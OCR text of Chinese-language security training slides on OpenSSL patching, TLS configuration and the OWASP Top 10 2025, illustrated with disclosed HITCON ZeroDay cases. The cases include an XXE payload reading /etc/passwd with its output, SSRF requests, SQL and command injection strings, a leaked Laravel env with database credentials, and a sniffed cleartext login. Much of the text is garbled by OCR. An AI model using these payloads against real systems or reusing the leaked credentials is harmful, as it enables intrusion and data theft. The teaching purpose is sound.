http://tw.archive.ubuntu.com/ubuntu noble-updates/main Icons (64x64) [52.7 kB]

=

Get:
Get:
Get:
Get:

0~ O bn B W




The following packages will be upgraded:
libss13t64 openssl
2 upgraded, © newly installed, 0 to remove and 591 not upgraded.
Need to get 2,945 kB of archives.
After this operation, 6,144 B of additional disk space will be used.
Get:1 http://tw.archive.ubuntu.com/ubuntu noble-updates/main amd64 libssl3t64 amd64 3.0.13-Oubuntu3.11 [1
,942 kB]
Get:2 http://tw.archive.ubuntu.com/ubuntu noble-updates/main amdé64 openssl amd64 3.0.13-Oubuntu3.11 [1,00
3 kB]
Fetched 2,945 kB in 0s (7,968 kB/s)
(Reading database ... 208397 files and directories currently installed.)
Preparing to unpack .../libssl3t64 3.0.13-Oubuntu3.11 amd64.deb ...
Unpacking libssl3t64:amd64 (3.0.13-0ubuntu3.11) over (3.0.13-Qubuntu3.5)
Setting up libssl3t64:amd64 (3.0.13-Qubuntu3.11)
(Reading database ... 208397 files and directories currently installed.)
Preparing to unpack .../openssl 3.0.13-OQubuntu3.11 amdé64.deb ...
Unpacking openssl (3.0.13-Qubuntu3.11) over (3.0.13-0ubuntu3.5)
Setting up openssl (3.0.13-Oubuntu3.11)
12.0-4build2) ...
2 /
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+ Tue Jun 2 19:33:25 2026 UTC
: debian-amdé4
bn(64,64)

: gcc -fPIC -pthread -m64 -Wa,--noexecstack -Wall -fzero-call-used-regs=used-gpr -DOPENSSL TLS SE
CURITY LEVEL=2 -Wa,--noexecstack -g -02 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -ffile-prefi
x-map=/build/openssl-gzalf8/openssl-3.0.13=. -fstack-protector-strong -fstack-clash-protection -Wformat -
Werror=format-security -fcf-protection -fdebug-prefix-map=/build/openssl-gzalf8/openssl-3.0.13=/usr/src/o
penssl-3.0.13-0Qubuntu3.11 -DOPENSSL_USE_NODELETE -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_BUILDING_OPENSSL -DND
EBUG -Wdate-time -D_FORTIFY_SOURCE=3
OPENSSLDIR: "/fusr/lib/ssl”

ENGINESDIR: "/usr/lib/x86_64-1inux-gnu/engines-3"

MODULESDIR: "/usr/lib/x86 64-1linux-gnu/ossl-modules”

Seeding source: os-specific

CPUINFO: OPENSSL ia32cap=0xfffa32034f8bffff:0x9840079c219c27eb

: S dpkg-query -W -f='S${Package} S{Version}\n' openssl libssl3t64
libssl3t64 3.0.13-0ubuntu3.11
openssl 3.0.13-0Qubuntu3.11




382 Found
11 Jul 2826 15:16:20 GMT
Apache/2.4.62 (Win32) OpenSSL/3.
.—Powered-By: PHP/5.5.30

Set-Cookie: PHPSESSID=9@atmphc9d3d97924egijragmss4; path=/
Expires: Thu, 19 Nov 1981 @8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=08, pre-check=0

Pragma: no-cache

location: /plan/passport/login
Content-Length: @
Content-Type: text/html




b OpenSSL AR AN fERT

(=] Welcome to XAMPP

&

Apache Friends ~ FAQs ~ HOW-TO Guides ~ PHPInfo  phpMyAdmir o Wappalyzer

TECHNOLOGIES
XA M P P / \p aC h e + Web servers Operating systems

Apache HTTP Server

B Windows Server

2.4.58
Programming languages Web server extensions
e PHP 8.0.30 IOS OpenSSL 3413 I

Welcome to XAMPP for Wind¢ .

Something wrang or missing?

You have successfully installed XAMPP on this system! Now you can
find more info in the FAQs section or check the HOW-TO Guides forq  >°@ Website technologies in your CRM ”

Add website technology data to HubSpot, Salesforce, or
XAMPP is meant only for development purposes. It has certain confiy  Pipedrive so your team can prioritize accounts and personalize

insecure if you want to have your installation accessible to others. outreach faster.

Start the XAMPP Control Panel to check the server status.
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ows OpenSSL IR ZANTER

C:\xampp\apache\bin>openssl.exe version -a

OpenSSL 3.1.3 19 Sep 2023 (Library: OpenSSL 3.1.3 19 Sep 2023)
built on: Wed Oct 18 08:49:41 2023 UTC

platform: VC-WINGLA

options: bn(6U,6u)

compiler: cl /Zi /Fdossl_static.pdb /Gs® /GF /Gy /MD /W3 /wdu@9@ /nologo /02 —-DL_ENDIAN -DOPENSSL_PIC
OPENSSLDIR: "C:\Apache2U\conf"

ENGINESDIR: "C:\Apache2u\conf\lib\engines-3"

MODULESDIR: "C:\Apache2U\conf\lib\ossl-modules"

Seeding source: os—-specific

CPUINFO: OPENSSL_ia32cap=0xfefa3203uf8bffff:0x18U86876U4219c27ab




1IN E G

PS C:\WINDOWS\system32> Get—ChildItem C:\xampp
>> Where-Object {

>> .Name

>> } |

>> Select-Object FullName, Length, LastWriteTime

FullName Length

C:\xampp\apache\bin\libcrypto-3-x6d.d1ll 6109696
C:\xampp\apache\bin\libss1-3-x6l.d1l 777216
C:\xampp\php\libcrypto-1_1-x64.d1l1l 3181600
C:\xampp\php\libss1-1_1-x6u4.d11l 689664
C:\xampp\php\windowsXamppPhp\libcrypto-1_l-x64.dl1l 3481600

C:\xampp\php\windowsXamppPhp\libss1-1_1-x64.d1l1l 689664

SilentlyContinue

LastiWriteTime

2023/10/18 T 06:54:16
2023/10/18 +F 07:01:18
2023/9/1 T 10:57:18
2023/9/1 T 10:57:18
2023/9/1 T 10:57:18
2023/9/1 T 10:57:18



. Windows
- https://slproweb.com/products/Win320penSSL.html

. Linux
- https://github.com/openssl/openssl/releases

File Type

Wing4 OpenS5L v4.0.1 Light 5ME Installer
EXE | MSI

Winb4 Open35L v4.0.1 246MBE Installer
EXE | M3l
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TLS / SWEET32 9%

(SE LIPS
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2 #& SSL Medium Strength Cipher Suites (SWEET32)

HIGH Nessus Plugin ID 42873

=

E=in R#E 2 EE AP EE SSLMZ -

st AA

BT R H DB ENER) SSLEE - Nessus SEMEREELES 64 £ 12 i cBERE B £ 3DES
MEEHREDEENE -

S IRYBECRE—EEREE  RENEBRPBENE -

BRAR
ENRTITENEARS  BUEREEAPRENS -
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3DES MZEEH

Output

Medium Strength Ciphers (> 64-bit and < 1lZ2-bit key,

Hame Code

DE5-CBC3-5HA 0=z00, O0x0OL
The fields sbowve are

{Tenable ciphername}

{Cipher ID code}

Eex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MLC={message suthentication code}

{export flag}

FEX

B3h

E5 64 £ 112 (UEVEIRE

Encryption

3DES-CEC (168)

E

&




TLS 1 0 HﬁLnﬂ’rﬁme,ﬂJ
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DIU Nessus Plugin ID 104743

=
iR

E=S

=i PR 75 B FABRES AN TLS hRASIN S

an A

EinRFE S TLS 1.0 INZRMELR - TLS 1.0 BERMNZBEE B - BSHTLS 1.0 B1E
FRER 7SR - A8 - FEROIAEERN 1.2 #11.3 S Bl s iR g m s AT
i TLS hRAK -

H 2020 £3 A 31 A - R TLS 1.2 MEHRANG S AR R R T EHE AT
TEMBIEEEF -

PCI DSS v3.2 E3k 24 7A7r 2018 £ 6 A 30 B Z Al A TLS 1.0 - BEEIZEAS TN EAE
EHFABEM PoS POI Aintk (R EFEGM SSL/TLS £ 1mEY) BR4h -

faa95%h — TLS 1.0 & 1.1

TLS 1 1 HliZISEFFHTm

Nessus i+ ID 157288

TR IR TLS IAHE -
faat

EIERIEEZER TLS 11 NBHES - TLS1BRZHBANESNSEELNSRE - &
£ MAC 5T& 7 BINZRH G LR AR B (W28 Tt ( #li0 6eM ) ABEEE TLS 1.1 —iBfE
}Eﬁ o

HZ 2020 F3H31H - AR TLS 1.2 X5 5 AR IRZ G B 7 Web BB/
HEREEEE -

BRAER

RS TLS 1.2 A/50 1.3 B2 45 - A TLS 11 RIS EE -

s DisabledByDefault
o Enabled

REG_DWORD
REG_DWORD

0x00000001 (1)
0x00000000 (0)

TLS 1.0
Client
Server

TLS 1.1
Client
Server

TLS 1.2
Client
Server




_E=1IS Crypto 4.0

“ By lI5 Crypto = O X
l IS Crypto 4.0 SOFTWARE
= Schannel
. These settings enable or disable various options system wide. When the checkbox is grey it means no setting has been specified and the
Schannel default for the operating system will be used. Click the Apply butten to save changes.
\ Server Protocols Ciphers Hashes Key Exchanges
J [C] Multi-Protocol Unified Hello [ MuLL @ mos @ Diffie-Hellman
. . PCT1.0 DES 56/56 SHA PKCS
Cipher Suites O O & @ @
[]ssLzo (] RC2 40/128 ® sHA 256 ® EcoH
[JssL3.0 (] RC256/128 @ sHA 384
TS 1.0 (] RC2128/128 @ sHAS12
TS 11 (] RC440/128
Advanced @iz (] RC4 56/128
@sis (] RC4 647128
— (] RC4128/128
@ Triple DES 168
{ . @ AE5128/128
Templates @ AES 256/256
Client Protocols
ol <L
‘\w [CJ Multi-Protocol Unified Hello
Site Scanner 0 pcr1o
[]ssLzo
[]ssL3.0
“ TS 1.0
[ TS 1.1
About @si2
@si:

Eest Practices Reboot: D Apply
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2. OWASP TOP 10:2025 g9 /= fzz

« BHIIFSIFR(CWE)
« OWASP TOP 10:2025 55%5 /= g EAZE @owse?

o4 ligy T 37 b 1L A



o F ¢

2021
A01:2021-Broken Access Control
A02:2021-Cryptographic Failures
A03:2021-Injection
A04:2021-Insecure Design
A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated Components
A07:2021-ldentification and Authentication Failures
A08:2021-Software and Data Integrity Failures
A09:2021-Security Logging and Monitoring Failures*
A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

65

https://owasp.org/Top10/2025/0x00_2025-Introduction/

§¢ OWASP Top 10 2025 77 4R

2025
> A01:2025-Broken Access Control

A02:2025-Security Misconfiguration
ew )= A03:2025-Software Supply Chain Failures*
A04:2025-Cryptographic Failures

A05:2025-Injection
\) A06:2025-Insecure Design

> A07:2025-Authentication Failures

> A08:2025-Software or Data Integrity Failures

> A09:2025-Security Logging & Alerting Failures*
(New) A10:2025-Mishandling of Exceptional Conditions

* From the Survey




15584515 CWE (1/2)

. CWE (Common Weakness Enumeration): @ 5524513
. EHEFEATSRERER

. 88 E A(Path Traversal)
. CWE-78: OS Command Injection

- https://cwe.mitre.org/data/definitions/78.html
. OWASP TOP 10£ &

MemberOf 1435 Weaknesses in the 2025 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf 1440 OWASP Top Ten 2025 Category A05:2025 - Injection
MemberOf 1447 General Software Weaknesses that Appear in Products that Use or Support AI/ML Technology

° -
.......
______

66 Source: https://cwe.mitre.org/data/definitions/78.html ‘/ yy




%= CWE (2/2)

é

sDELETE ALL FILES LIST /home/;DELETE ALL FILES

- ¥

Source: https://cwe.mitre.org/data/definitions/78.html
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— REPRIZHI 24 (Broken Access Control)

« AATIRSETRIAEPR ZHMVEE
« R EREEREE 1IQEQ_JZ¢E£ZJ5EE:“/H
« HITHEL R PERIFERIIEE

- OJ¥1ECWESIZR

« CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')

« CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

« CWE-284 Improper Access Control
« CWE-918 Server-Side Request Forgery (SSRF)

 Example ’o,
« IDOR (Insecure direct object references - FZEMEEMHSE)
« CVE-2025-29927

68
Source: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/




R ERA

BRAESESER oo select#Main_dwrF_district.aspN ‘ B S4B E R
& HiITRHPE® “~ etDisabled.form-control 31 B4 B9 ERRSIRER
nn@ i [04) EEEXEE W @E > [04) MEE=ZEE ~
o EEAL : ~. elatad
R E N A FEAY 507 £t s 5

[01] itEEEXEE
SER [02)] EEEEEE
el P ERAER(CSV (03] SRR
[04] hEEEXEE
[05] itRAEZEXEE
[06] FFITTEEXEE
[07) &b EEXEE
[08] ElEEEZEE
[09] EEEEXE
[10] eaEEEXE
[11] SHEEXE
[12) REREEZXE
[13] FEEEEEE
[14) eFEE=x%E
[16] &ibitEEZXEE
[17] EREEE=XE

e FERER(CSY) FESE SR FRRAI(CSY)

Elements

#%BRdisabled B4 &
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Google AdsTFTE ﬁ:ﬂ [EESALTTHEEE
EYouTubeBFRIAARRAE

#EiBGoogle Ads#E=RMomentsi®ilE - BERA LTI UFREERFAMAERNEEAR

Source: https://www.ithome.com.tw/news/142175

nttps://www.youtube.com/watch?v=G3bNbYRTxZM
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ip=1-2> ip=3

BEEM B HSigRike

EE{ISRES - BO1 EAEE: HALE

#BRUARE - ENEE02
BN : AR LAE

Lig EAEE 13 meAsE
5548 Scratch ##3% (.sb3) EEIRIERIASF (.odt, .pdf)
No file chosen No file chosen

LfERE=lE s
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Source: https://zeroday.hitcon.org/api/vulnerability/12992/attachments/5070f44b8eddbc6884c542752 ,

23 courseplan.boe.ttct.edu.tw/115_scratchf/upload.php?ip=1&race_group=E/J\

2EPNEENEARENSTEEHKEREER LBRR

BEEM

FEAISRHS : AOT
HBBI4RSE - BhEO1

2 LEERNRE
EXIE® :  ®Bo1.sb3  2026-03-29 11:02:13

RENZH :  @mEel.pdf 2026-03-29 11:00:50

L@ BXEs
$%i%4% Scratch ##% (.sb3)
No file chosen

tEEtE

18 SREAs
PRRIERAASYF (odt, .pdf)
No file chosen
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hitps://www.ragic.com/anions/forms/1?PAGEID=9Re

P Q
Ragic!
test R FEM/ACRM Cosmetics BRNERGE.. «? E } LV .L_ Jacky.wedding
Default Tab Menu v
= All Records This Ragic account has expired. Please log in with SYSadmin user account to renew the database subscription or switch to Ragic free plan
W ¥ Starred

¥ Sort by last update

Search

Save as View

Cc

& | https://www.ragic.com/anions/forms/1.csv?PAGEID=9Re
ITRA TR &k

EURLEE N L. .csvBI o] BARE }\E’J Ean N MEITEE -
= 0 BMRBEM.Ccsv

255 B - 1 54841

Ragic!

EmsHERe L.

test {REEEMEACRM Cosmetics

Gt ]i Jacky.wedding
L SEE TR

Default Tab Menu -
This Ragic account has expired. Please log in with SYSadmin user account to renew the database subscription or switch to Ragic free plan

:= All Records

% ¥ Starred
1? Sort by last update

Search

Save as View
b Create Date

72
https://zeroday.hitcon.org/vulnerability/ZD-2025-00080
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SSRF
=52\
FHASER
ATTACKER FIREWALL VULNERABLE INTERNAL
WEBSITE SERVER
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Request

&

* https://zeroday.hitcon.org/vulnerability/ZD-2022-00657

Response

Raw Hex

POST /1ltflgeoserver/TestWfsPost HITP/1.1
Host: |10.21. 1. 82

3 User—Agent: User—Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

6 Accept-Encoding: gzip,

Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, */*;q=0. 8
Accept-Language: en-US, en;q=0.5

deflate

Dnt: 1

3 Upgrade-Insecure-Requests: 1

11
12

J Connection:

Te: trailers

close

Content-Length: 76

Content-Type: application/x-www—form-urlencoded

formth_0=&urlﬂhttp://10.21.1.82/1tf1geoserver/../Fbody=&username=&password=

74

SSRFIEFIZE WA IP

81 81 200 300
82 82 200 —
85 85 200 305
88 88 200 842
89 89 200 842
91 91 200 260
92 92 200 753
R 94 200 326
95 95 200 260
97 97 200 260
100 100 200 260
11 11 200 11749
113 113 200 336168
117 117 200 2578

Request Response

Pretty Raw Hex Render

1 HTTP/1.1 200

Server: nginx/1.20.2
Date: Mon, 15 Aug 2022 04:20:03 GMT
Content-Type: text/html;charset=1s0-8859-1

5 Content-Length: 288
6 Connection: close

IDOCTYPE HIML PUBLIC "-//IETF//DID HIML 2.0//EN"
<html>
<head>
{title>
302 Found
/titled>
</head>
<body>
<hl>
Found
</h1>
<p>

The document has moved <a href="https://rrd.taipower. com. tw/">

here
Jad>

p>
<hr>
<address>
Apache/2.41.29 (Ubuntu) Server at 10.21.1.82 Port 80
</address>




R .' ¢

EWhoistiZRAEHERAE, BHREBMANERINIP, RBEEMERE, BERwhoisTAXAEREFAEFHA,
FRART NS RMA IR ER EREEMASN A HERANME, HENS T —T—EEBport, AJIAZIRSSH
SMTP - http ~ https * MySQLEEIE, B4, Ewhoistiisal ABIERMdictiFag, WMRNLATEEredisBHRCE
RBE, BEEERE.

https://www.twnic.tw/whois n.cgi?&query=SHOW%20DB%20-h%20127.0.0.1%20-p%2022
https://www.twnic.tw/whois n.cgi?&query=QUIT%20DB%20-h%20127.0.0.1%20-p%2025
https://www.twnic.tw/whois n.cgi?&query=SHOW%20DB%20-h%20127.0.0.1%20-p%2080
https://www.twnic.tw/whois n.cgi?&query=SHOW%20DB%20-h%20127.0.0.1%20-p%203306
https://www.twnic.tw/whois n.cgi?&query=GET%20.%20HTTP:1.0%20-h%20127.0.0.1%20-p%20443

SSH-2.0-OpenSSH_5.3

Protocol mismatch.

S https://zeroday.hitcon.org/vulnerability/ZD-2025-00354




LA | I

%+ 52 1 TRFaE (Security Misconfiguration)

- AMAZRTNEERNAHEL 2% 3% (DebugliFE)
« L IERIFIEE ﬂ%fan =S (Wstack traces)

¢ EJ%TM_ACWEEU%E
« CWE-260 Password in Configuration File
« CWE-611 Improper Restriction of XML External Entity Reference

« Example
« Z4Debug®E T kEERH - BN ZFFMES
« XXE (XML External Entity)
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Source: https://owasp.org/Top10/2025/A02_2025-Security Misconfiguration/
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* https://zeroday.hitcon.org/vulnerability/ZD-2020-00738

RIESZEIIR, ErILIERIBRER.

By %E -

e —

EMERRIRENS. P, ENBEEREEN, BRRFILRIMEER, SETH

77

iw, FREHE TR,

PHP_SELF
REQUEST_TIME_FLOAT
REQUEST_TIME
APP_NAME

APP_ENV

APP_KEY
APP_DEBUG
APP_URL
LOG_CHANNEL
DB_CONNECTION
DB_HOST

DB_PORT
DB_DATABASE
DB_USERNAME
DB_PASSHORD
BROADCAST_DRIVER
CACHE_DRIVER
SESSION_DRIVER
SESSION_LIFETIME
QUEUE_DRIVER
REDIS_HOST
REDIS_PASSWORD
REDIS_PORT
MAIL_DRIVER
MAIL_HOST
MAIL_PORT
MAIL_USERNAME
MATL_PASSWORD
MAIL_ENCRYPTION
PUSHER_APP_ID
PUSHER_APP_KEY

"6379"

"smtp"
"10.20.83.12"
"gn

"null”

"null"

“null”

"base64: 6KbvMEndIewfmQgxGgRhQKmaz160M7e+bTFOe45904="
"true”

"https://event.data.gov.tw"

"stack"

"mysql”

"loc
"3306"

"event"”

alhost”

w

"root"
"rootme"
"log"

"sync"
"127.0.0.1"

"null”




2 3N 227 https://k12ea.ischool.com.tw POST /isd/h.nehs. hc.edu.tw/1campus.hex.. 200 871 XML
228  https://k12ea.ischool.com.tw POST Jisd/h.nehs.hc.edu.tw/1campus.h.ex.. 200 206 XML
229  https://k12ea.ischool.com.tw POST /isd/h.nehs. hc.edu.tw/1campus.hex.. 200 902 XML
230 https://k12ea.ischool.com.tw POST Jisd/h.nehs. hc.edu.tw/1campus.h.ex.. 200 793 XML
231  https:;//k12ea.ischool.com.tw POST /isd/h.nehs. hc.edu.tw/1campus.hex.. 200 1149 XML
232  https://k12ea.ischool.com.tw POST Jis4/h.nehs. hc.edu.tw/1campus.h.ex.. 200 794 XML
238 https://k12ea.ischool.com.tw POST /isd/h.nehs. hc.edu.tw/1campus.hex.. 200 1279 XML
236  https://k12ea.ischool.com.tw POST Jisd/h.nehs. hc.edu.tw/1campus.h.ex.. 200 10123 XML

<IDOCTYPE Too [ <!ELEMENT fToo ANY =
<IENTITY xwe S5YSTEM “file:// etc/passwd” =]=
<Envelopex

<Header=
«Targetservicex&xxe; <,/ Targetservices
<HecurityToken Type="5es=sion™=

<hessionIl=VIp3Zed7LOhzbeFpcKUubws/SessionIDx

</ SecurityToken=

< /Header=

=<Body=
<StudentID=2501</5tudentID=>
<ViewSemester=1122</ViewSemesters=

< /Body=

< /Envelopex>

8 Source: https://zeroday.hitcon.org/vulnerability/ZD-2024-00776




XE 5324 (2/2

Raw Hex

Request

Pretty
POST /is4/h.nehs hc.edu.tw/lcampus.h.semester_ student HTTP/1l.1
2 Host: kllea.ischool.con.tw
3 Content-Length: 345
4 Seec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";w="1Ig"

z Accept: application/xml, text/xml, */*; g=0.01
¢ Content-Type: text/plain;charset=UTF-8

7 Accept-Language: zh-TW

Sec-Ch-Ua-Mobile: 70

like Gecko) Chrome/lZE.0.£478.57 Safari/537. 36
0 Sec-Ch-Ua-Platform: "Windows"
Origin: https://legacy-webZ. ischool. com.tw
- Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://legacy-webI.ischool.com.tw/
Accept-Encoding: gzip, deflate, br
Priority: u=4, i
18 |Connection: keep-alive

<IDOCTYPE foo [ <!ELEMENT foo ANY >
<VENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Envelope>
<Header>
24 <TargetService>
aXxe;
</TargetService>
<SecurityToken Type="Session">
€ <SessionID>
VIp3ZE47LQhzbeFpcKUuew
</SessionlD>
</SecurityToken>
</Header>
<Body>
<Student ID>
2501
</Student ID>

AN

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x£4) AppleWebKit/537.36

T

(EHTML

\n

BB 00 B B B B B B

Response

Pretty Raw Hex ender

1 HTTP/1.1 20O

2 access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS

vary: accept-encoding

content-type: text/xml

date: Wed, 03 Jul 024 05:34:42 GMT

strict-transport-security: max-age=£3072000

x-frame-options: SAMEORIGIN

content-security-policy: frame-ancestors default-sre 'self’

https://*. ischool. com.tw;

cache-control: no-cache, no-store, must-revalidate

o

1

11 x-xss-protection: 1l; mode=block

> Content-Length: 2101

<?7xml wversion="1.0" encoding="utf-8" 2>
<Envelope>
<Header>
<Status>
<Code>
501
</Code>
<Message>
Service Not Found:root:x:0:0:root:/root: /bin/bash
bin:x:l:l:hin:!bFn:fshinfnologin
daemon:x:2:Z2:daemon: /shin: /sbin/nologin
adm: x:3:4: adm: /var/adm: /shin/nologin
8 lp:x:4:7:1p: /var/spool/lpd: /shin/nologin
sync:x:5:0:sync: fshin: /bin/sync
shutdown: x:£:0: shutdown: /shin: /sbin/shut down
1 halt:x:7:0:halt: fshin: /sbin/halt
9 mail:x:8:12:mail: /var/spool/mail: /shin/nologin
operator:x:ll:0:operator: /root: /shin/nologin
4 games:x:12:100: games: /usr/games: /shin/nologin
5 fep:x:14:50:FTP User: /var/ftp: /shin/nologin

-1 N

nobody:x:£65534:£5534:Kernel Overflow User:/:/shin/nologin

dbus:x:8l:81l:5ystem message bus:/:/shbin/nologin

3 systemnd-coredunp: x: 999:997:systemd Core Dumper:/:/shin/nologin

[ Source: https://zeroday.hitcon.org/vulnerability/ZD-2024-00776




A03 2025 — FES R IEIER R (Software Supply
.Chaln Failures)

*

HEASHEE -~ 6~ BEE iR ARV a1

- Rl i e e TN =
IE=ad

° /ﬁ\*%ﬁ UIQEZ - EAX RS EERKVERES

¢ EJ%?M.;\CWEEU%E

CWE-937 OWASP Top 10 2013: Using Components with Known
Vulnerabilities

« CWE-1035 2017 Top 10 A9: Using Components with Known
Vulnerabilities

- Example
o LiteLLM, Axios
 ApachefrN7E8E, Log4j
« CVE-2024-3094 (XZ Utils)

80

Source: https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/



0

M LiteLLM
EfFSEARR]

ammﬁmﬁﬁmmu

./'x/ S // ==

WBEECEHAMAESEMRAE LiteLLM 1.82.7 84 1.82.8

81
Source: https://www.informationsecurity.com.tw/article/article _detail.aspx?aid=12785




=30

PN R

’fLIﬁ%égﬁﬁ ﬁﬂﬁ 5y HY
Axms ENEEEE

EZ &t Axios ENMEREETRR » FIAMREN npm EABE S M SHRMERKRTHNEERS - AREREBES
B —RAEFaERFIAEEI (RAT) R EEEE RN INFEEFERSRETHEE » FEHLARIA -

By: Trend Micro
2026/03/37

Fead time: 26 min (58584 words)

82
Source: https://www.trendmicro.com/zh_tw/research/26/c/axios-npm-package-compromised.html




YEFIRABEE

O Omax QJxze DRz NAx (Y eteas QO xs e B #%F8 3w @#pvse 88 ERE

[RY¥AH5 s i & jquery-1js X
. 1/
v 3 e > *[jQuery Javascript Library vi.s.e|
v & edu.tw 3 * http://jquery.com/
v B3 php7 .

* Includes Sizzle.js
v ] images 5 * http://sizzlejs.com/

JS jquery- . . . .
* Copyright 265, 2012 jQuery Foundation, Inc. and other contributors
JS jquery-migrate-1,s 9 * Released under the MIT license
D (index) 1 * http://jquery.org/license

* Date: 20132-1-14

CVE Details (e.q.: CVE-2009-1234 or 2010-1234 or ,»mwny:‘: ]‘ V::az:]/E JJ

The ultimate security vulnerability datasource

[KloB (I Take a third party risk management course for FREE Vulnerability Feeds & WidgetsNeW JIIAISEle R T

Switch to https://

Jguery » Jquery : Security Vulnerabilities

Home

Browse : CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9
Vendors Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending
Products Copy Results Download Results
Vulnerabilities By Date  # CVE ID CWEID # of Exploits Vulnerability Type(s) Publish Date Update Score Gained Access  Access C lexi Authentication Conf. Integ.  Avail.
Vulnerabilities By Type Date Level

Reports : 1 CVE-2020-11023 79 Exec Code XSS 2020-04-29 2022-07-25 4.3 None Remote Medium Not required None  Partial None
CVSS Score Report
VeSS o ROL: In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM
T?re manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.
Distribution

Search : 2 CVE-2020-11022 79 Exec Code XSS 2020-04-29 2022-07-25 4.3 None Remote Medium Not required None Partial None
Vendor Search In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .htmi(),
Product Search .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.
Version Search 3 CVE-2020-7656 79 XSS 2020-05-19 2022-07-25 4.3 None Remote Medium Not required None  Partial None

Vulnerabllity Search  [Tauary rior to 1.9.0 allows Cross-site Scripting attacks via the load method] The load method fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script
By Microsoft >", which results in the enclosed script logic to be executed.
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84 https://www.ithome.com.tw/news/168714



*

A04 2025 — /% 1l 5 2% (Cryptographic Failures)

« REREBEMHERNRVUEAZINE) - ERERKERIVR R

o ﬂ%ﬁEZ\CWE@J%
« CWE-261 Weak Encoding for Password
e CWE-319 Cleartext Transmission of Sensitive Information

« Example
« Weak Hashing
« HTTP / FTP / TELNET (A &)
« PINEES)
» CVE-2022-21449

85

Source: https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/
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* https://zeroday.hitcon.org/vulnerability/ZD-2016-00187

wm -

40482 S. Apple_c6:73:c4 54:a0:50:5¢:23:30 192.168.1.139 175.41.145.61 TCP 78 50709 - B@ [SYN] Seq=® Win=65535 Len=® MSS=1460 WS=32 TSval=1648920465 TSecr=@ SACK_PERM=1
40483 5. Asustek(C_5c¢:23:30 34:36:3b:c6:73:cé 175.41.145.61 192.168.1.139 TCcP 74 B0 - 50709 [SYN, ACK] Seq=@ Ack=1 Win=5792 Len=0 MSS=1452 SACK_PERM=1 TSval=162064388 TSecr=1648920465 WS=128
40484 S.. Apple_c6:73:c4 54:280:50:5¢:23:30 192.168.1.139 175.41.145.61 Tce 66 50709 - 80 [ACK] Seg=1 Ack=1 Win=132480 Len=0 TSval=1648920554 TSecr=162064308
| 40485 5. Apple_c6:73:c4 54:20:50:5c:23:30 192.168.1.139 175,41.145.61 HTTP 299 POST /desktop/authdata HTTP/1.1 (application/x-www-form-urlencoded)
| 40498 5. Asustek(C_5c¢:23:30 34:36:3b:c6:73:cé 175.41.145.61 192.168.1.139 Tce 66 80 - 50709 [ACK] Seq=l Ack=234 Win=6912 Len=® TSval=162064334 TSecr=1648920554
+ 40499 5. AsustekC_5c¢:23:30 34:36:3b:c6:73:cé 175.41.145.61 192.168.1.139 HTTP 701 HTTP/1.1 200 OK (text/html)
40500 5. Apple_c6:73:c4 54:20:50:5¢:23:30 192.168.1.139 175.41.145.61 TCce 66 50709 - 80 [ACK] Seq=234 Ack=636 Win=131840 Len=0 TSval=1648920683 TSecr=162064340
40674 5. Apple_c6:73:c4 54:20:50:5c:23:30 192.168.1.139 175.41.145.61 Tce 66 50709 ~ B8 [FIN, ACK] Seq=234 Ack=636 Win=131840 Len=0 TSval=1648923202 TSecr=162064340
40693 5. AsustekC_5¢:23:30 34:36:3b:c6:73:cd 175.41.145.61 192.168.1.139 TCP 66 80 - 50709 [FIN, ACK] Seq=636 Ack=235 Win=6912 Len=8 TSval=162065003 TSecr=1648923202
40694 5. Apple_c6:73:c4 54:20:50:5¢:23:30 192.168.1.139 175.41.145.61 TCP 66 50709 - 8@ [ACK] Seq=235 Ack=637 Win=131840 Len=9 TSval=1648923289 TSecr=162065003

Frome 40485: 299 bytes on wire (2392 bits), 299 bytes captured (2392 bits) on interface @
Ethernet II, Src: Apple_c6:73:c4 (34:36:3b:c6:73:c4), Dst: AsustekC_5c:23:30 (54:00:50:5¢:23:30)
Internet Protocol Version 4, Src: 192.168.1.139, Dst: 175.41.145.61

Transmission Control Protocol, Src Port: 50709 (50709), Dst Port: 80 (89), Seq: 1, Ack: 1, Len: 233

yvYyvywyw

v HTML Form URL Encoded: application/x-www-form-urlencoded
» Form item: “p" = “1234" BA justfont
| » Form item: “u" = “pichu@tih.tw"
HY: pichu@tib.tw

‘ B eeee 7J

-

86




05:2025 5+ A T K1 % (Injection)

« ;7 Z A Z (injection attack)

« O] ¥ ECWESZIZR
* CWE-78 Improsper Neutralization of Special Elements used in an OS
Command ('OS Command Injection’)
* CWE-79 Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
* CWE-89: Improper Neutralization of Special Elements used in an SQL
Command ('SQL Injection’)

* Example
* SQL injection
* Cross Site Scripting (XSS)

* OS Command injection
* CVE-2023-34362

87

Source: https://owasp.org/Top10/2025/A05_2025-Injection/



SQL Injection E

EHE%?@ [TOR1=1—- | HIBR%: EL]

wEES prEa WSEﬁ HERA | =28 e
